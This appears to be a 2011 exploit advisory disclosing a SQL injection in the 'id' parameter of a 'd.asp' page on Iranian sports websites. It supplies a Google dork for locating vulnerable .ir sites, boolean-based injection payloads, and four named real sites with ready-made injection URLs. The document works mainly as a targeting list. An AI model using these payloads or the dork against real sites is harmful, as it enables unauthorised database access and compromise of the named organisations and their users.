###############################  HUT CNIS #############################
# Exploit Title: Iran sports network SQL INJECTION Vulnerability
# Date: [2011/10/19]
# Author: S.Azadi 
# Google Dork: inurl:d.asp site:.ir
# Vulnerability Type: SQL Injection
# Version: All version
#---------------------------------------------------------------------

Technical Details:

- SQL INJECTION:
There is a SQLI vulnerability on “d.asp” page and parameter  “id”.
http://sitename/d.asp?id=[SQLI]

PoC:
http://sitename/d.asp?id=25928 and 1=0;--
http://sitename/d.asp?id=25928 and 1=1;--

sample:
http://www.irantriathlon.ir/d.asp?id=25928’
http://www.sporttehran.ir/d.asp?id=25921’
http://www.chesstehran.ir/d.asp?id=26403’
http://www.blindsports.ir/d.asp?id=25862’



#
#
#
###########-HUT Center for Network and Information Security-################